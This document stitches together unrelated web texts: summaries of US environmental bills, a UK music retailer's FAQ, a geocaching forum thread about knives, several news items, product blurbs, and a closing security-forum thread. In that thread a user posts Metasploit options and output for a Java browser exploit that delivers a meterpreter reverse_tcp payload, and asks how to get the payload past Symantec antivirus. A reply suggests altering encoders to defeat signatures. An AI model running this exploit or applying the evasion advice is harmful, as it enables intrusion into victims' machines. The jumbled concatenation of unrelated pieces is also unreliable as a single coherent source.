Alan Nunnelee on Environment
Congressional Summary:Amends the Comprehensive Environmental Response Compensation and Liability Act of 1980 (CERCLA) to exclude manure from the definition of "hazardous substance" and "pollutant or contaminant" for purposes of such Act. Defines "manure" to mean:
Opponent's Comments (Jim Ruen on AgProfessional.com, Oct. 3, 2011): Since when can a fertilizer dealer operate without concern for environmental regulation and impact? Let's face it, we aren't talking about Ma and Pa Kettle with their six milk cows and three sows here spreading a load of manure on the back 40. We are talking about CAFO units with thousands of animals and tens of thousands or more tons/gallons of manure. While a few maybe spreading on their own land, most are selling it to area farmers. At a time when fertilizer dealers and companies have to be conspicuously careful with how they handle product, why shouldn't mega-livestock operators be equally regulated as they sell their "waste" product for its nutrient and soil building value. Since when do commercial N, P and K producers or handlers get a free ride from the EPA...or Congress?
112th Mid-Term Humane Scorecard: The Humane Society Legislative Fund has posted the final version of the 2011 Humane Scorecard, where you can track the performance of your federal lawmakers on key animal protection issues during last year. We rated legislators based on their voting behavior on measures such as agribusiness subsidies, lethal predator control, and the Endangered Species Act; their cosponsorship of priority bills on puppy mills, horse slaughter, animal fighting, and chimps in research; their support for funding the enforcement of animal welfare laws; and their leadership on animal protection. All of the priority bills whose cosponsorships we're counting enjoy strong bipartisan support; in the House, each of the four now has more than 150 cosponsors.
The Humane Scorecard is not a perfect measuring tool, but creating some reasonable yardstick and allowing citizens to hold lawmakers accountable is central to our work. When the Humane Scorecard comes out each year, it helps clarify how the animal protection movement is doing geographically, by party affiliation, and in other categories. It helps us chart our course for animals by seeing where we have been effective, and where we need to improve.
Congressional Summary:Amends the Federal Insecticide, Fungicide, and Rodenticide Act (FIFRA) and the Clean Water Act (CWA) to prohibit the EPA or a state from requiring a permit for a discharge into navigable waters of a pesticide authorized under FIFRA. Excepts stormwater discharges and discharges of manufacturing or industrial effluent.
Proponent's argument for bill:(Blue Ridge Times-News, April 2013): Sen. Kay Hagan announced a bill to eliminate a "redundant and burdensome" requirement that 365,000 pesticide users get a CWA permit before spraying in or near lakes and streams. Farmers and other chemical users already have to meet stringent requirements for pesticide application under FIFRA, Hagan said, and the CWA permit only adds a duplicative, unnecessary layer of bureaucracy. Hagan said the "overlapping regulations" have also forced some municipalities to cut down on spraying for mosquitoes "because they don't have the manpower (to deal with the extra red tape), and they fear lawsuits."
Opponent's argument against bill: (Oregon Sierra Club newsletter Dec. 2012): Rachel Carson's "Silent Spring" turned 50 this fall: it catalyzed the environmental movement [by focusing on pesticides like DDT]. Today we still face the issues she outlined in Silent Spring. Pesticide law and regulation in the US is a case study in corporate capture: beholden to the farm lobby in Congress, all the way back to the 1947 formation of FIFRA.
FACT: From 1988 to 1995, more than 65 bills were introduced in Congress to tighten pesticide regulations. None of them passed.
FACT: In the late 1990s, two separate investigations revealed that more than half of all former top-level pesticide regulators at the EPA subsequently went to work for, or were paid by, pesticide and chemical industry interests actively involved in fighting EPA efforts to protect the public from pesticides.
Congressional Summary:Amends the Clean Water Act to prohibit the EPA from requiring permits for a discharge of stormwater runoff resulting from silviculture activities.
Opponent's argument against bill: (Evergreen Magazine and Washington Forest Law Center): In Aug. 2010, the Ninth Circuit Court of Appeals ruled unanimously that polluted stormwater generated by logging roads is subject to regulation under the Clean Water Act. [The ruling meant] that rain runoff from forest roads constituted an industrial (not forestry) activity, which should be considered a "point source" discharge under the CWA. The lawsuit was brought because forest roads have been dumping sediment into rivers that support myriad species of salmon and resident trout, all of which are at risk from the pollution.ĀThe ruling will require State agencies to issue permits and ensure that road construction and maintenance practices limit or eliminate such discharges.
In March 2013, the US Supreme Court reversed the Ninth Circuit: permits are not required for stormwater discharges from pipes, ditches and channels along logging roads. [This legislation supports the Supreme Court ruling, against the Ninth Circuit conclusion].
Proponent's argument for bill: (Press release by sponsors):
Sen. WYDEN (D-OR): "We need a healthy timber industry to provide timber jobs and to do the restoration work that ensures healthy forests. The way to do that is to stop litigating questions that have already been answered."
Sen. CRAPO (R-ID): "The jobs and economic activities relating to the forest products industry are critical to the Pacific Northwest. The Clean Water Act was not intended to regulate stormwater runoff on forest roads."
Rep. HERRERA BEUTLER (R-WA): "At the heart of our efforts are the moms and dads employed by healthy, working forests--and passing this law will help make sure they have jobs, and will help make our forests healthy."
A BILL to amend the Endangered Species Act of 1973 to protect and conserve species and the lawful possession of certain ivory in the United States.
Argument in opposition from National Geographic news Aug. 29, 2014:
Since 1989, [there has been a worldwide] "ban" the international trade in ivory after a ferocious wave of poaching in Africa. Some conservationists say that a limited legal ivory trade is needed to satiate demand, especially in China, in a controlled manner. Many others argue that the 1989 ban must be kept in place to protect elephants.
Elizabeth Bennett, of the Wildlife Conservation Society (WCS), says it is impossible to have a controlled trade in elephant ivory. Bennett says she examined the prospect for a legal market in ivory and concluded that because corruption in some countries among certain government officials is so pervasive. The overarching problem is that "once illegal ivory has entered the legal trade, it's difficult or impossible for enforcement officers to know what's legal and illegal."
Argument in favor from NRA's Institute for Legislative Action:
In a supposed attempt to preserve African elephants, the Obama administration has begun a series of arbitrary decrees that will destroy the value of property held by countless gun owners, art collectors, musicians and others.
For decades, the US has banned the commercial importation of African elephant ivory other than antique items. However, legally [previously] imported ivory may be sold within the US. On Feb. 11, 2014, the Obama administration announced a proposal to ban all US commercial trade in elephant ivory. Since ivory is used in items such as firearms, knives, furniture, jewelry, art, and musical instruments, the ban would effectively make these items valueless for their owners.
The Lawful Ivory Protection Act would return the rules on importation and possession of lawful ivory to those that were in effect before Feb. 2014.

Do you do personal finance or any credit options?
Yes. We offer personal finance via a third party company. Please call one of our sales representatives for more information.
Do you pricematch other dealers?
How can every Music Retailer guarantee the lowest price?
They can't - since we all sell music gear at the same low prices, that "Guarantee" is meaningless.
We are going to let you into a little secret - low price guarantees are generally either nothing but marketing hype or backed with some much fine print that you would need a degree in law to figure them out. It's no wonder; otherwise you could literally pit one dealer against another until they were paying you to take the gear off their hands!
The fact of the matter is that all the major music technology retailers, including Dolphin Music, get the same great deals and charge the same low prices, so other companies will gladly agree to match a price with in pennies of their normal price any way.
So if there's no difference in price, why talk about it so much? Other retailers make such a big deal about price because it is all they have to offer. Dolphin Music has become the leading music technology retailer because in addition to great prices, we offer so much more.
However, if you feel we have missed a significant price drop, say more than 10% on an item over £100, which can happen, (the pricing mechanism is unsurprisingly still mostly human), please call us on 08708 409060 or email us.
How can I get an invoice?
To view your invoice once you have placed an order with Dolphin Music you need to click on the order tracking link on the top of each page. Youu must be logged in so enter you username and password at the promt, (these will have been emailed to you when you first signed) A list of your orders will be shown, click on the relevant order number and your invoice will be displayed.
If a printed invoice is not enough for you needs then please call 0870 840 9060 to request a posted invoice.
How can I Pay?
We can accept the following credit cards online: Visa, Master Card, Access, Switch, Visa Delta, Solo, Electron. We also accept payments from Paypal.
We have invested heavily in making the order process as secure as possible but if you don't feel 100% happy about giving your credit card details over the internet then we are more than happy for you to call us on 0151 448 2080 and we will take down you details over the phone.
You can also can pay by any others means such as cheque or postal order. To pay by cheque you need sign up with a user account include you user name on back of the cheque.
Our postal Address is :
59 Queens Road,
Southend On Sea,
Telephone Orders
You can also call us on 0151 448 2080 or email us and place your order over the phone.
Is my credit card secure ?
Yes. We protect your card details in several ways. SSL - Our web server uses a encryption system call "SSL". This creates a secure "layer" between your computer and ours and highly encrypts the data transferred between the two. Encryption - Your card details are then held on our secure area of Dolphin Music, in a highly coded format, until we are ready to process them. They are then transferred securely, again using SSL encryption, to Sec Pay, the worlds biggest on-line card processing company, where they are verified against your address (this prevents others using your card fraudulently)
Is VAT included in your prices ?
Yes. All prices throughout Dolphin Music are shown in pounds sterling and include VAT at the current rate. The only exception is for products listed in our educational area which are displayed ex VAT.
VAT for UK customers
For all items that are shipped to addresses within the UK the UK VAT rate is 20%. Every time you order an electronic VAT invoice will be generated in you My Account Area. You will need your username and password to access your invoices.

For EU business customers who supply their VAT registration number after they order will be charged zero the VAT. for private purchasers (or business purchasers that do not have a VAT registration), UK VAT will be charged.
However, our web site order form does not yet accommodate this and EU business customers in these areas will be charged VAT on placing an order. We are happy to refund the VAT to you after your order has been dispatched. To request a VAT refund after dispatch, please e-mail us. Remember to include the order number with your request.
VAT for Non EU Customers
Goods dispatched to addresses outside of the European Union are generally not subject to EU VAT. When ordering goods for delivery overseas, you may be subject to import duties and taxes that are levied once the package reaches your country. Any additional charges for customs clearance must be borne by you; we have no control over these charges and cannot predict what they may be.

Additionally, please note that when ordering from Dolphin Music, you are considered the importer of record and must comply with all laws and regulations of the country in which you are receiving the goods.

Post subject: Can a pocketknife be a Travel Bug?
I have been having a friendly disagreement with a fellow geocacher over a Travel Bug I saw in a cache a while ago... I thought I would post it to the forums just for interesting points of view and discussion.
The Travel Bug in question is a 3" pocket knife. (which included corkscrew, phillips head screw driver, nail file/cleaner, can opener, bottle opener/flat screwdriver, scissors and a 1 3/4" knife blade)
What do you think???
Should a knife be allowed as a Travel Bug or not? Why or why not?

Knives are not mentioned in the outlines. Knives are not illicit, illegal, or inherently dangerous. People who stick their heads (or worse, their childrens) in the sand do themselves a huge dis-service. Now, I don't want to go into some "when I was a boy" tirade, but, for God's sakes, whats happened to personal responsibility? I can prove in one easy question that those who disapprove of knives in caches are hypocrits. "Where do you keep your cutlery at home"? yeah, I though so. In that little drawer at waist level that any kid could open up and get to. did you warn me about that when I came into your home with my child? Knives are not dangerous. Only people who don't know how to safely handle them are.
The rules for taking them to school are clear (no matter how twisted it is).
No knives in school.
although that's another twisted and annoying topic to me..............
I'd move that bug. I might even let my boy handle it (with my supervision).

I was a boy scout most of my life (probably 1st or 2nd grade through the time I made Eagle Scout at age 16). I never had issues handling a knife, nor did my parents have a problem with me having knives in my own posession, using knives without direct supervision, etc.
This is not to say that my parents didn't care. This is to say that they knew that THEY showed me how they should be handled, Scouts showed me how they should be handled, and I followed that well.
Geocaching is an outdoor activity that a lot of people do with their children... As a responsible adult, why not show the children the proper manner in which you should use, carry, and store knives?
I guess people put them in the kitchen, say, "don't touch" and expect that to be enough.
I disagree,
Silent Bob.

What shouldn't be in a cache?
Use your common sense in most cases. Explosives, ammo, knives, drugs, and alcohol shouldn't be placed in a cache. Respect the local laws. All ages of people hide and seek caches, so use some thought before placing an item into a cache.
Food items are ALWAYS a BAD IDEA. Animals have better noses than humans, and in some cases caches have been chewed through and destroyed because of food items in a cache. Please do not put food in a cache.
This is from the gc.com FAQ page--I myself see nothing wrong with knives, but apparently enough people do in order for it to make the "bad" list on the guidelines.

I have put in knives in the past and will continue to do so. Just like guns, a knife never hurt or killed someone by itself. When I was in high school, I carried a small pocket knife every day. And I still do to this day. A good knife can be the most important tool a person can carry. Ask any survialist or Army soldier.

Post subject: Common Sense??
I read my e mail before I do much of anything else when I start up my computer. I then went to the MNGCA forum this evening and read this topic and the replies. As it happens, a friend sent this to me today and I copied it below. Makes "Common Sense" doesn't it?
Today we mourn the passing of a beloved old friend
by the name of Common Sense who has been with us for many years. No one knows for sure how old he was since
his birth records were long ago lost in bureaucratic red tape.
He will be remembered as having cultivated such valued
lessons as knowing when to come in out of the rain,
why the early bird gets the worm
and that life isn't always fair.
Common Sense lived by simple,
sound financial policies
(don't spend
more than you earn)
and reliable parenting strategies
(adults, not kids, are in charge).
His health began to rapidly deteriorate when well intentioned but
overbearing regulations were set in place. Reports of a six-year-old boy charged with sexual harassment for kissing a classmate, teens suspended from school for using mouthwash after lunch, and a teacher fired for reprimanding an unruly student only worsened his condition. It declined even further when schools were required to get parental consent to administer aspirin to a student but could not inform the parents when a student became pregnant and wanted to have an abortion.
Finally, Common Sense lost the will to live
as the Ten Commandments became contraband,
churches became businesses and criminals received better
treatment than their victims.
Common Sense finally gave up the ghost
after a woman failed to realize that a steaming cup of coffee was hot, spilled it in her lap, and was awarded a huge settlement.
Common Sense was preceded in death by his parents,
Truth and Trust, his wife, Discretion; his daughter, Responsibility; and his son, Reason. He is survived by two stepbrothers; My Rights and Ima Whiner.
Not many attended his funeral because so few
realized he was gone. If you still know him pass this on,
if not you can give him a second death.
Respectfully submitted,
Justice For All

Matt, I missed that part of the F.A.Q. Considering that knives in caches is addressed, it is actually encumbent on cachers to not put them into caches.
Ummmmm....Bob. you missed my point. Read my post again, and identify sarcasm where it applies. I don't personally mind the presence of a knife in a cache, but I'd have to respect expressed rules. I'm just that kind of a guy. BTW I was a Life Scout. My family moved out of the parish I grew up in and in turn, I left my troop. Eagle scout was in my hopes, but it never happened. I regret it to this day. I'll have to settle for scout master.

Personally, I have no problems with knives--I always carried a pocket knife through middle school and high school, and I don't leave the house without my Leatherman Micro (which technically isn't a knife, but a multi-tool that happens to have a knife as one of the tools). But knives in caches are going to make people uncomfortable, and cause discussions like this to happen. Remember, this is a brave new post-Columbine and post-9/11 world we live in. So I don't place them in caches, and if I find one in a cache, I'll trade for it rather than a cool McToy or Hotwheels. I also post in my online log why I took the knife, and hopefully my wording isn't taken as a rebuff. Just this weekend, I took a knife and the cachers who placed it emailed asking for clarification, and thanked me for the information.

Can a pocketknife be a Travel Bug?
The discussion has been about regular cache items, and the topic began about a Travel Bug. I would assume that since knives are specifically mentioned in the F.A.Q. that it would relate to T B s as well.
A side topic, and one that a bug such as this might affect:
Travel Bugs do not go through the approval process. I would hate to see anything that would change that. Some of mine may be borderline, depending on your point of view, but I have not received

I'd just like to go on the record by saying that The King has produced some of the most interesting Travel Bugs that I have seen. Some may be rated PG, but I am failrly certain that they will not be duplicated 20 times. The Warrior Women series is spectacular.

True! Travel Bugs are a whole different topic. Thanks.
For instance..... If you find a "banned" item in a cache as a trading item, you can quietly make it go away with little or no fuss - not a problem.
With a knife Travel Bug -- would you be violating geocaching guidelines by moving it along and placing it in a cache?
What about the parks systems who have banned those items - is it *their* duty to come confiscate it, or do we as geocachers not let it get to that point at all?
What do you do with it? Quietly making it go away is not an option and yet moving it along is not an option either.

Most of us, outdoor sports people in general, carry a pocket knife, it was a right of passage to be given my first one as a boy. I think it important to put this issue into further perspective.
A small pocket knife,
less than 3.75" blade length
generally not prohibited for carrying in public, and in my opinion the small swiss army knives, and those like the one described in the initial post would IMHO not be an issue if serving as travel bugs.
Where the problem lies is in knives bigger than the 3.75"-which serve little utility purpose, rather a specific one. What I mean is, I shouldn't be carrying my military survival knife, or my deer hunting knife in public places, nor would I think these items appropriate as cache booty.
I try to see not just the letter of the law, rather the spirit...what behavior is this rule trying to control?

In the last two decades, architecture has undergone a silent, global revolution. Silent, because it is rarely addressed in academe and in the world of architectural theory. This revolution has thoroughly rewritten the status of architecture's history by placing it on the level of national interest. It has thrust architecture's history - and thus architecture itself - into the realm of modernization and ideology. One of the key players in this is UNESCO and the so–called Heritage List. What is the nature of this historic turn and its philosophical and epistemological consequences for our understanding of architecture in its global role?

About a year and a half ago, I decided I wanted a goat. (one day I will have one, and her name will be lucky, and she shall wear a blue ribbon around her neck.) So when my school bff told me that her goat- Brownie was pregnant, I was so excited! We waited with much anticipation for the babies to arrive. Poor Brownie is just a little dwarf goat, and with two babies growing inside of her, she could hardly walk.
On Sunday, a week after her due date, I received an excited phone call from my friend announcing that the babies had arrived. So with the babies just a few days old, she took me to meet them.
I can't wait to one day have a goat of my own! I used to see my neighbor taking his goat on walks and always thought it was so funny. Now, I can't wait to do the same. Lucky and I.
P.S. Wanna know what made me decide I wanted a goat? Watch this video (just the first part):

The media's giftgate
I know, my head hurts too, reading the 'coverage.' (I'm waiting for some reporter to combine the gift 'story' with a detailed description of what Michelle Obama was wearing when she gave the Queen of England the gift.)
Aside from the fact that key facts have been omitted [1] by the press, the 'story' reeks of double standards because I don't remember any detailed coverage of the gifts Bush gave dignitaries over the years. Plus, Obama is being mocked, in part, for being a narcissist [2] by including some of his speeches on the Queen's iPod. That's why this part [3] made us chuckle, from Politico:
As for the queen, she gave the Obamas a signed photo of herself and her husband in a silver frame. But she had it easier than Obama — that's the same thing she always gives visiting dignitaries.
Is that an appropriate gift? It certainly seems so. But imagine the media reaction if Obama had given the queen a signed photo of himself.
UPDATE: More overseas 'reporting,' courtesy of Time's migraine-inducing [4] dispatch about how Michelle Obama appeared to touch the Queen for "just a second or two." Time tells us that's a protocol no-no:
The rules are set in stone, and so the eagerly watching British media sputtered when the First Lady of the United States, Michelle Obama, briefly put her hand on the back of Queen Elizabeth II as the two chatted at a reception.
The British media "sputtered," Time relayed. But Time didn't bother to, y'know, actually quote any sputtering examples from the British media. Readers just have to trust Time. Same here:
Still, the sight of anyone apparently touching the Queen with anything more than a limp handshake is enough to send the British (or traditionalists in the old Commonwealth) twittering.
Did the British twitter after Obama appeared to touch the Queen for "just a second or two"? Again, Time doesn't quote anybody to suggest they did. We're supposed to trust Time's judgment. But considering the fact that the article itself is an embarrassment, from premise to execution, that's hard for us to do.
UPDATE: From a CF reader in the comment section:
If I may chime in from the UK. Saw that Michelle Obama put her hand on the Queen's back last night on the BBC news. It was like, 5 seconds of the 10 o'clock news, and the brief comment from the Beeb reporter was to say how unmoved the Queen was when it happened.
UPDATE: More breaking giftgate news here [5].

Color blindness tests
Color blindness tests
Color blindness is the inability to distinguish the differences between certain colors. The most common type is red-green color blindness, where red and green are seen as the same color. Usually Isihara (pseudoisochromatic) plates are used to test color vision. They are made of dot patterns composed of primary colors. These dot patterns represent a symbol that is superimposed on a background of randomly mixed colors. The test can determine certain abnormalities in a person's color vision.

WATCH: Leonardo DiCaprio busts a move at Coachella

The video was posted online Saturday night -- it was later removed -- and appears to be 13 amazing seconds of Leo dancing during MGMT's set.

Date: February 27 2013
The Australian dollar is more than half a US cent lower as uncertainty about the Italian election result weighs on market sentiment.
At 1700 AEDT on Wednesday, the local unit was trading at 102.16 US cents, down from 102.82 cents on Tuesday.
It fell to 102 US cents early on Wednesday morning, its lowest level since early October.
Italian centre-left Democratic Party leader Pier Luigi Bersani scraped a razor-thin victory in the lower house of parliament but no party was able to win a majority in the senate.
Forex.com research analyst Chris Tedder said Italy was in a very fragile political position that won't be easy to solve.
"It can go back to the polls or the two top parties can work together, which is a lot easier said than done considering the massive gap in political dogmas between the two parties," he said.
Mr Tedder said the Australian dollar got a little boost the jump in US new home sales and after US Federal Reserve chairman Ben Bernanke played down the possible end to the Fed's economic stimulus program.
"Encouraging economic data out of the US and Bernanke's reassurance, that the Fed's quantitative easing program is doing more good than harm, is helping to lift investor sentiment after risk assets took a hammering on the back of Italy's disappointing election result," Mr Tedder said.
In Australia on Thursday, official capital expenditure and expected expenditure data for the December quarter will be released, which is expected to be watched closely by the market.
Mr Tedder said the greater focus for markets would be further post-election developments in Italy and an Italian bond auction, worth four billion euros ($A5.14 billion).
At 1700 AEDT, the Australian dollar was at 93.71 Japanese yen, down from Thursday's close of 94.58 yen, and at 78.18 euro cents, down from 78.73 euro cents.
Meanwhile, Australian bond futures prices were higher.
UBS interest rate specialist Matthew Johnson said data showing a 0.1 per cent fall in domestic construction work done added to the pessimistic tone of the day.
Mr Johnson said there were concerns about the unclear Italian election result and worries over the possibility of a US government shutdown if Congress and the White House could not agree on proposed budget cuts.
"I think people are a bit short, or have been a bit short, so the weak data (construction) today was not a huge deal," Mr Johnson said.
At 1630 AEDT on Wednesday, the March 10-year bond futures contract was trading at 96.690 (implying a yield of 3.310 per cent), up from 96.645 (3.355 per cent) on Tuesday.
The March three-year bond futures contract was at 97.290 (2.710 per cent), up from 97.260 (2.740 per cent).

By Michelle Dunlop Herald Writer
Strike authorization likely will be on the ballot for Boeing Co. engineers and technical workers following a union council meeting Thursday, but it's anybody's guess how the 22,950 union members will vote.
"We have a lot of leverage now," Roger Pullman, a union negotiator, told about 50 engineers and technical workers at a gathering Tuesday night in Everett. "The company cannot afford a work stoppage."
Negotiators for the Society of Professional Engineering Employees in Aerospace already recommended a rejection of the company's contract offer and want approval for the union leadership to call a strike. But the union's council of 105 workplace representatives has been mulling it over for a week and is expected to render its own recommendation Thursday evening.
SPEEA's vote takes place as Boeing engineers work around the clock to get the company's 787 back in the air after federal officials grounded the jet Jan. 16. The company also is ramping up production and working on new products including the 787-9, the 767-based aerial-refueling tanker and the 737 MAX.
On Wednesday, Boeing CEO Jim McNerney declined to speculate how a strike by SPEEA members would affect operations.
"We are very hopeful that our discussions with SPEEA won't come to that," McNerney said from Chicago during a conference call with investors.
Union negotiators emphasized on Tuesday that voting yes on strike authorization doesn't necessarily mean that a work stoppage will take place. A strong rejection of the contract and approval for a strike would be strong bargaining tools the union can take back to Boeing negotiators.
With 787 woes unresolved and plenty of work on hand, SPEEA negotiator Pullman seemed confident Boeing will cave: "I think the company is running a bluff."
SPEEA won't call for a strike until the first week of March, at the earliest, negotiators said. That will be after members receive on Feb. 28 their employee incentive payout, which is 14.75 extra days of pay, according to a Boeing statement Wednesday.
Overall, Boeing's latest offer is a "healthy-looking contract, except for the poison pill," Brent McFarlane, also a SPEEA negotiator, told members Tuesday.
Earlier this month, Boeing agreed to SPEEA's request to extend the union's current contract. The key exception: Boeing wants to switch union members hired after Feb. 28 to a 401(k) retirement plan rather than put them on the defined pension plan other members enjoy.
Although some members at the meeting pointed out the benefits of a 401(k) plan, others suggested the company's purpose, besides cutting costs, is to divide the union membership between the "have mores" and the "have lesses." When there are more people enrolled in the 401(k) plan than the pension, the company will freeze pension contributions, the union negotiators said.
For Lynn Burow, the contract vote is about remaining unified. Had SPEEA offered a prize Tuesday night for the most union flair, Burow would have won easily. She wore a SPEEA shirt, customized hat and a dozen buttons lauding unions.
"If you're going to hurt past, present or future workers, then I don't want it," said Burow, a technical worker from Lynnwood.
While Burow thought many of her co-workers would vote against the contract, other SPEEA members say it could be a close vote.
Destry Ransier joined SPEEA six months ago. He left his previous job, at a Boeing supplier, when that company dumped its pension plan and implemented an alternate retirement plan similar to what Boeing intends. Ransier, who is married and has two children, is prepared to strike if necessary to protect the pension.
However, Ransier knows several young, new employees like him who want to accept the company's offer. Some can't afford to strike and are too young to care enough about retirement. Others, he said, fear Boeing will move their jobs to South Carolina, where it opened a second 787 production line following a 2008 strike by Machinists.
Like SPEEA negotiators, Ransier believes Boeing's engineers and technical workers aren't easily replaceable. But he doesn't believe in "strong-arming" the company, either. He'd be happy to keep the exact same contract as SPEEA signed in 2008.
Update, 9:50 a.m. Jan. 31: SPEEA is expected to tally the contract and strike authority ballots Feb. 19.

And you can choose from a smart and mean boy dog. Or a dumb and happy boy dog. Or a smart and sickly girl dog, or a dumb and happy girl dog. I like to pick the smart ones. It takes 3 days to paper train the smart ones, and it takes 5 days to paper train the dumb dogs. Once it's paper trained, you could take it out of walks!
It's the coolest virtual pet ever! That is before Tamagotchi Connection!

The tricks are sit, beg, jump, and roll. It only lasts for 23 days. On the 23rd day, unfortunately, it's a sad ending. All you see is a sad face and the score. I recently started it back up again. I got a girl named Alysa.

I read kurtpikachu's instructions in another thread, but I still have problems to paper train it. Maybe anyone can help? When exactly do I have to push a button to put the dog on the paper? The dog's often done its business when I look at it again XD...

Posted by Michael on 20th May 2012
When I first squirted this out of the tube I was sceptical and then I put it on my face and felt even more doubtful but I have to say that this is an incredible product. I got one of the closest shaves I've ever had with the same razor I have been using for ages but with Gillette shave gel. This is clear gel and doesn't really look much like shaving cream or gel but it works so well. Very happy with this product.

Saving Mr. Banks (2013)
directed by
John Lee Hancock
featuring Emma Thompson, Tom Hanks, Colin Farrell, Bradley Whitford, Paul Giamatti
The story of how Walt Disney courted P.L. Travers into letting him option the rights to Mary Poppins is brought to the screen in this non-fiction ... Show synopsis The story of how Walt Disney courted P.L. Travers into letting him option the rights to Mary Poppins is brought to the screen in this non-fiction drama starring Tom Hanks, Emma Thompson, and Colin Farrell. A doting father, Walt Disney (Hanks) promises his adoring daughters that he will bring their favorite fictional nanny Mary Poppins to the big screen. Little does Walt realize that surly author P.L. Travers has no intention of seeing her most famous creation bastardized for moviegoers, a fact that makes keeping his promise a difficult endeavor. Years later, however, when Travers' book sales begin to slow, dwindling finances drive her to schedule a meeting with Disney to discuss the film rights to the beloved story. For two weeks in 1961, a determined Disney does his absolute best to convince Travers that the film version of Mary Poppins will be a wondrous and respectful adaptation, meanwhile the author only grows more convinced that she has made the right move in preventing the proposed film adaptation. Later, just when it begins to appear that the rights to Mary Poppins have slipped through his fingers, the ingenious Disney reflects back on his childhood, and realizes that a sensitive chapter from Travers' youth could be the key to clinching the deal. Bradley Whitford, Paul Giamatti, and Jason Schwartzman co-star. Jason Buchanan, Rovi

'As his hockey career started to take off, Ray Sheppard took up golf during the offseason to become ''one of the guys'' with his Buffalo Sabres teammates. During the years, Sheppard got pretty good. Good enough that he now is one step away from playing in the 105th U.S. Open at Pinehurst.'

Robinson Tapped to Lead GSA's Office of Congressional Affairs
July 7, 2003
Contact: Deborah K. Ruiz, (202) 501-1231
WASHINGTON, D.C. - Stephen A. Perry, administrator of the U.S. General Services Administration today administered the oath of office to Clint Robinson as GSA's Associate Administrator of Congressional and Intergovernmental Affairs during a special morning ceremony. His new position is effective today.
"Clint will be a tremendous asset to GSA's leadership team," said Administrator Perry. "His extensive expertise in the legislative field makes him the ideal choice to direct our congressional affairs efforts as we work on priority projects such as property management reform and the many legislative tasks related to implementing President Bush's Management Agenda."
Mr. Robinson is the former director of legislative affairs with Covad Communications, a national communications company. He replaces Shawn McBurney, recently named as Senior Advisor, Office of the Administrator. Mr. Robinson also served as legislative director to U.S. Representative John Linder where he had responsibility for the development and implementation of legislative initiatives and strategies.
"I am honored by this appointment and am grateful for this wonderful opportunity to serve Administrator Perry and President Bush," said Mr. Robinson. "I look forward to working with Congress and other federal agencies toward the ultimate goal of attaining the best value for our customers and taxpayers."
As the Associate Administrator of Congressional and Intergovernmental Affairs working in GSA's Central Office, Mr. Robinson will monitor important legislation affecting GSA's functions and areas of responsibility of interest. He will also advise the Administrator and Deputy Administrator on policy actions and act as congressional liaison for GSA on legislative matters, investigations, and inquiries.
Mr. Robinson, a native of Carrollton, Ga., earned an undergraduate degree in politics from Washington and Lee University in 1990. He received a master's degree in business administration from Johns Hopkins University in 2001. Mr. Robinson and his wife, Rachel, currently reside in Alexandria, Va., with their two sons.
GSA is a centralized federal procurement and property management agency created by Congress to improve government efficiency and help federal agencies better serve the public. It acquires, on behalf of federal agencies, office space, equipment, telecommunications, information technology, supplies and services. GSA, comprised of 14,000 associates, provides services and solutions for the office operations of over 1 million federal workers located in more than 8,000 government-owned and leased buildings in 2,000 U.S. communities.

Kenny Chesney establishes Spread The Love Fund for Boston
Listen to Kenny Chesney on iHeartRadio
Kenny Chesney is trying to "spread the love" to Boston. He's teaming up with Boston Medical Center to establish the Spread The Love Fund.
The country superstar launched the charity with what's been described as a "sizeable donation." He'll also continue to make donations through the sale of his new song "Spread The Love."
Chesney will be giving all the money from iTunes downloads of the track to the fund. The money will help pay for prosthetics and other ongoing medical and rehab treatment for victims of the April 15th Boston Marathon bombing receiving treatment at both BMC and other Boston area facilities. Additional information is available at development.bmc.org.
Chesney explains that it's "hard to imagine a world where taking your children to school, going to the movies or witnessing something as iconic as the Boston Marathon is a dangerous thing to do," so he established the fund to "help give these people as much of their lives back as possible," and to also "counteract some of the negativity in the world."
"Spread The Love" is from the singer's new album, Life on a Rock, which is in stores now.
Buy Life On A Rock at the Amazon MP3 store
Kenny discusses the new album at the iHeartRadio Album Release Party:

wow... really... no one has ever encountered this issue before?! i find that hard to believe...
hello all,
i have a question about evading AV with javascript payload. Here is my situation:
I am running BT 5. uname is -
Linux bt 3.2.6 #1 SMP Fri Feb 17 10:34:20 EST 2012 x86_64 GNU/Linux
I have updated BT with msfupdate. I am using the 'exploit/multi/browser/java_atomicreferencearray' with payload=java/meterpreter/reverse_tcp. I dont have any problems running this exploit, but when the client connects, the payload is picked up by symantc antivirus as 'Trojan.Maljava!gen22'
Here are the exploit options:
msf exploit(java_atomicreferencearray) > show options
Module options (exploit/multi/browser/java_atomicreferencearray):
Name Current Setting Required Description
---- --------------- -------- -----------
SRVHOST 0.0.0.0 yes The local host to listen on. This must be an address on the local machine or 0.0.0.0
SRVPORT 8080 yes The local port to listen on.
SSL false no Negotiate SSL for incoming connections
SSLCert no Path to a custom SSL certificate (default is randomly generated)
SSLVersion SSL3 no Specify the version of SSL that should be used (accepted: SSL2, SSL3, TLS1)
URIPATH javasploit no The URI to use for this exploit (default is random)
Payload options (java/meterpreter/reverse_tcp):
Name Current Setting Required Description
---- --------------- -------- -----------
LHOST 192.168.1.1 yes The listen address
LPORT 4444 yes The listen port
Here is the output when the exploit is run:
msf exploit(java_atomicreferencearray) > exploit[*] Exploit running as background job.[*] Started reverse handler on 192.168.1.1:4444[*] Using URL: http://0.0.0.0:8080/javasploit3[*] Local IP: http://192.168.1.1:8080/javasploit
msf exploit(java_atomicreferencearray) >[*] Server started.[*] 192.168.1.1 java_atomicreferencearray - Sending Java AtomicReferenceArray Type Violation Vulnerability[*] 192.168.1.1 java_atomicreferencearray - Generated jar to drop (5287 bytes).[*] 192.168.1.1 java_atomicreferencearray - Sending jar[*] 192.168.1.1 java_atomicreferencearray - Sending jar[*] 192.168.1.1 java_atomicreferencearray - Sending jar
I have tried using some of the 'evasion' options within the java exploit but have not had any success. My question is - is there a way to encode the payload with msfencode to successfully bypass AV detection? Let me know if you need more info. thanks in advance!
wow... really... no one has ever encountered this issue before?! i find that hard to believe...
I think it's more the fact that the AV companies are wise to the encoders used in Metasploit, and have signatures for them. If you have a good handle on Ruby, you might try taking one of the existing encoders, and modifying it (or even just inserting some random comments). This might cause enough of a change that Symantec wouldn't catch it (as it didn't match the signature).
If I could figure out how to scuba dive & hack at the same time, there would be nothing I couldn't do...
sry drunk post...deleting
btw i believe its the exploit itself that gets detected, not the payload

